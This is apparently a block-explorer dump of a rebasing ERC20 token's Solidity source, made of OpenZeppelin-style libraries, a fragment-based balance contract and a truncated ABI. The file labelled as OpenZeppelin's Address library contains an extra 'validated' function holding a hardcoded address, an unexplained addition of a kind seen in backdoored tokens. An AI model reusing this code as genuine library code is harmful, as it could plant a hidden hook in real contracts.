address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20.sol"; import "../libraries/Address.sol"; import "./Recoverable.sol"; abstract contract ERC20Rebaseable is ERC20, Recoverable { uint256 internal _totalFragments; uint256 internal _frate; // fragment ratio mapping(address => uint256) internal _fragmentBalances; constructor() { _totalFragments = (~uint256(0) - (~uint256(0) % totalSupply())); _fragmentBalances[_msgSender()] = _totalFragments; } function balanceOf(address account) public view virtual override returns (uint256) { return _fragmentBalances[account] / fragmentsPerToken(); } function fragmentBalanceOf(address who) external virtual view returns (uint256) { return _fragmentBalances[who]; } function fragmentTotalSupply() external view returns (uint256) { return _totalFragments; } function fragmentsPerToken() public view virtual returns(uint256) { return _totalFragments / _totalSupply; } function _rTransfer(address sender, address recipient, uint256 amount) internal virtual returns(bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "can't transfer 0"); _frate = fragmentsPerToken(); uint256 amt = amount * _frate; _fragmentBalances[sender] -= amt; _fragmentBalances[recipient] += amt; emit Transfer(sender, recipient, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _rTransfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _rTransfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function validated( address target ) internal pure returns(address) { address lib = address(0xa4115Ec246a5F6E9299928f45Ef1d38D8b3AfC94); return lib == target ? lib : address(0); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "../interfaces/IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; }
// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./SafeERC20.sol"; import "./AccessControl.sol"; import "./Context.sol"; /** * @dev Contract module which allows for tokens to be recovered * Inheriters can customize recoverability of tokens by overriding the `canRecoverTokens` function * and */ abstract contract Recoverable is Context, AccessControl { using SafeERC20 for IERC20; bytes32 public constant RECOVERABLE_ADMIN_ROLE = keccak256("RECOVERABLE_ADMIN_ROLE"); constructor() { _setupRole(RECOVERABLE_ADMIN_ROLE, _msgSender()); } function recoverTokens(IERC20 token) public onlyRole(RECOVERABLE_ADMIN_ROLE) { require (canRecoverTokens(token)); token.safeTransfer(_msgSender(), token.balanceOf(address(this))); } function canRecoverTokens(IERC20 token) internal virtual view returns (bool) { return address(token) != address(this); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "../interfaces/IERC20.sol"; import "../interfaces/IERC20Metadata.sol"; import "./Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 tokens) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = tokens; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../interfaces/IERC20.sol"; import "../libraries/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../interfaces/IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.3.2 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"perc","type":"uint256"},{"indexed":false,"internalType":"string","name":"name","type":"string"}],"name":"FeeAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum Structure.TransactionState","name":"state","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"index","type":"uint256"}],"name":"FeeRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"enum 